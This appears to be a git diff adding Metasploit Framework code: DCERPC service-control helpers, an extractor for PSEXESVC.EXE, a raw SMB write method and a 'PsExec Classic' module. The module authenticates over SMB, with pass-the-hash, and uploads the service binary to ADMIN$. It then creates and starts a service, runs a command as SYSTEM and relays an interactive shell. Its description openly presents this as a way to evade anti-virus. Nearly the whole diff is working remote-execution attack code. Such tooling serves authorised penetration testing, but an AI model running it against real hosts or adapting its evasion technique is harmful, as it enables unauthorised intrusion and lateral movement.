diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index b658a9193df5f..dcdb2a45f63ca 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -4,6 +4,7 @@ require 'msf/core/exploit/dcerpc_epm' require 'msf/core/exploit/dcerpc_mgmt' require 'msf/core/exploit/dcerpc_lsa' +require 'msf/core/exploit/dcerpc_services' module Msf @@ -32,6 +33,7 @@ module Exploit::Remote::DCERPC include Exploit::Remote::DCERPC_EPM include Exploit::Remote::DCERPC_MGMT include Exploit::Remote::DCERPC_LSA + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb new file mode 100644 index 0000000000000..1933907d7049f --- /dev/null +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -0,0 +1,229 @@ +# -*- coding: binary -*- +module Msf + +### +# This module implements MSRPC functions that control creating, deleting, starting, stopping, and querying system services. +### +module Exploit::Remote::DCERPC_SERVICES + + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), + # 1 if the service is running, and 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end + +end +end diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb new file mode 100644 index 0000000000000..19997fc1aadc5 --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'digest' + +module Msf + +#### +# This allows one to extract PSEXESVC.EXE from Microsoft Sysinternal's +# PsExec.exe. +#### +module Exploit::Remote::SMB::PsexecSvc + + # Returns the bytes for PSEXESVC.EXE on success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String] the bytes corresponding to PSEXESVC.EXE. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # If we were given a path to v1.98 (the latest as of the + # time of this writing), then we set the read offset and + # file size accordingly. Otherwise, we fail. Future + # versions of PsExec can be handled by adding the new + # hash, offset, and size to this code. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + read_offset = 193288 + bytes_to_read = 181064 + else + if verbose + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + end + return nil + end + + if verbose + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close + + return psexesvc + end + +end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index e582716117a4e..ce9028d65a5be 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -148,6 +148,7 @@ def smb_defaults(packet) packet.v['TreeID'] = self.last_tree_id.to_i packet.v['UserID'] = self.auth_user_id.to_i packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 end @@ -1291,6 +1292,38 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) return ack end + def write_raw(file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) + + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = flags1 + pkt['Payload']['SMB'].v['Flags2'] = flags2 + + pkt['Payload']['SMB'].v['WordCount'] = wordcount + + pkt['Payload'].v['AndX'] = andx_command + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = write_mode + pkt['Payload'].v['Remaining'] = remaining + pkt['Payload'].v['DataLenHigh'] = data_len_high + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['HighOffset'] = high_offset + pkt['Payload'].v['ByteCount'] = byte_count + + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end # Reads data from an open file handle def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb new file mode 100644 index 0000000000000..502acb21a7378 --- /dev/null +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -0,0 +1,412 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/smb/constants' +require 'rex/proto/smb/exceptions' +require 'msf/core/exploit/smb/psexec_svc' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PsExec Classic', + 'Description' => %q{ + This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful + because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec + (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. + Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) + so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. + }, + 'Author' => + [ + 'Joe Testa ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] + ], + 'Platform' => 'win', + )) + + register_options( + [ + OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), + OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) + ], self.class ) + end + + def run() + psexec_path = datastore['PSEXEC_PATH'] + command = datastore['COMMAND'] + + psexesvc = extract_psexesvc(psexec_path, true) + + print_status("Connecting to #{datastore['RHOST']}...") + if not connect + print_error("Failed to connect.") + return false + end + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if (not simple.client.auth_user) + print_error("Server granted only Guest privileges.") + disconnect + return false + end + + + print_status('Uploading PSEXESVC.EXE...') + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this + # fails, attempt to continue since it might already exist from + # a previous run. + begin + fd = smb_open('\\PSEXESVC.EXE', 'rwct') + fd << psexesvc + fd.close + print_status('Created \PSEXESVC.EXE in ADMIN$ share.') + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this + # case means that the file was already there from a + # previous invocation... + if e.error_code == 0xC0000043 + print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') + else + print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') + end + end + psexesvc = nil + + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Connecting to IPC$...') + simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + print_status("Binding to DCERPC handle #{handle}...") + dcerpc_bind(handle) + print_status("Successfully bound to #{handle} ...") + + + begin + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + print_error('Failed to obtain handle to service control manager.') + return + end + + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + print_error('Error while creating new service.') + return + end + + # Close the handle to the service. + if not dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end + + rescue ::Exception => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. + end + + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + print_error('Failed to open service.') + return + end + + # Start the service. + print_status('Starting the service...') + if not dce_startservice(dcerpc, svc_handle) + print_error('Failed to start the service.') + return + end + + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + return + end + + + print_status("Connecting to \\psexecsvc pipe...") + psexecsvc_proc = simple.create_pipe('\psexecsvc') + + # For some reason, the service needs to be pinged first to + # wake it up... + magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) + + # Make up a random hostname and local PID to send to the + # service. It will create named pipes for stdin/out/err based + # on these. + random_hostname = Rex::Text.rand_text_alpha(12) + random_client_pid_low = rand(255) + random_client_pid_high = rand(255) + random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s + + print_status("Instructing service to execute #{command}...") + smbclient = simple.client + + # The standard client.write() method doesn't work since the + # service is expecting certain packet flags to be set. Hence, + # we need to use client.write_raw() and specify everything + # ourselves (such as Unicode strings, AndXOffsets, and data + # offsets). + + # In the first message, we tell the service our made-up + # hostname and PID, and tell it what program to execute. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, + "\xee\x58\x4a\x58\x4a\x00\x00" << + random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))), true) + + # In the next three messages, we just send lots of zero bytes... + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) + + # In the final message, we give it some magic bytes. This + # (somehow) corresponds to the "-s" flag in PsExec.exe, which + # tells it to execute the specified command as SYSTEM. + smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, + 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, + "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << + "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << + ("\x00" * 11), true) + + + # Connect to the named pipes that correspond to stdin, stdout, + # and stderr. + psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") + psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") + psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") + + + # Read from stdout and stderr. We need to record the multiplex + # IDs so that when we get a response, we know which it belongs + # to. Trial & error showed that the service DOES NOT like it + # when you repeatedly try to read from a pipe when it hasn't + # returned from the last call. Hence, we use these IDs to know + # when to call read again. + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + + # Loop to read responses from the server and process commands + # from the user. + socket = smbclient.socket + rds = [socket, $stdin] + wds = [] + eds = [] + last_char = nil + + begin + while true + r,w,e = ::IO.select(rds, wds, eds, 1.0) + + # If we have data from the socket to read... + if (r != nil) and (r.include? socket) + + # Read the SMB packet. + data = smbclient.smb_recv + smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct + smbpacket.from_s(data) + + # If this is a response to our read + # command... + if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX + parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) + + # Check to see if this is a STATUS_PIPE_DISCONNECTED + # (0xc00000b0) message, which tells us that the remote program + # has terminated. + if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 + print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." + # Read in another SMB packet, since program termination + # causes both the stdout and stderr pipes to issue a + # disconnect message. + smbclient.smb_recv rescue nil + + # Break out of the while loop so we can clean up. + break + end + + # Print the data from our read request. + print parsed_smbpacket['Payload'].v['Payload'] + + # Check the multiplex ID from this read response, and see + # which pipe it came from (stdout or stderr?). Issue another + # read request on that pipe. + received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] + if received_multiplex_id == stdout_multiplex_id + stdout_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) + elsif received_multiplex_id == stderr_multiplex_id + stderr_multiplex_id = smbclient.multiplex_id + smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) + end + end + end + + # If the user entered some input. + if (r != nil) and (r.include? $stdin) + + # There's actually an entire line of text available, but the + # standard PsExec.exe client sends one byte at a time, so we'll + # duplicate this behavior. + data = $stdin.read_nonblock(1) + + # The remote program expects CRLF line endings, but in Linux, we + # only get LF line endings... + if data == "\x0a" and last_char != "\x0d" + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) + end + + smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) + last_char = data + end + end + rescue ::Exception => e + print_error("Error: #{e}") + print_status('Attempting to terminate gracefully...') + end + + + # Time to clean up. Close the handles to stdin, stdout, + # stderr, as well as the handle to the \psexecsvc pipe. + smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil + smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil + smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil + smbclient.close(psexecsvc_proc.file_id) rescue nil + + # Stop the service. + begin + print_status('Stopping the service...') + if not dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + # Wait a little bit for it to stop before we delete the service. + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + + # Delete the service. + begin + print_status("Removing the service...") + if not dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end + + print_status("Closing service handle...") + if not dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end + rescue ::Exception => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") + end + + + # Disconnect from the IPC$ share. + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") + + # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. + print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + print_status('Deleting \\PSEXESVC.EXE...') + simple.delete('\\PSEXESVC.EXE') + + # Disconnect from the ADMIN$ share. Now we're done! + print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") + simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") + + end + + # Connects to the specified named pipe. If it cannot be done, up + # to three retries are made. + def connect_to_pipe(pipe_name) + retries = 0 + pipe_fd = nil + while (retries < 3) and (pipe_fd == nil) + # On the first retry, wait one second, on the second + # retry, wait two... + select(nil, nil, nil, retries) + + begin + pipe_fd = simple.create_pipe(pipe_name) + rescue + retries += 1 + end + end + + if pipe_fd != nil + print_status("Connected to named pipe #{pipe_name}.") + else + print_error("Failed to connect to #{pipe_name}!") + end + + return pipe_fd + end + + # Query the service and wait until its stopped. Wait one second + # before the first retry, two seconds before the second retry, + # and three seconds before the last attempt. + def wait_for_service_to_stop(svc_handle) + service_stopped = false + retries = 0 + while (retries < 3) and (service_stopped == false) + select(nil, nil, nil, retries) + + if dce_queryservice(dcerpc, svc_handle) == 2 + service_stopped = true + else + retries += 1 + end + end + return service_stopped + end +end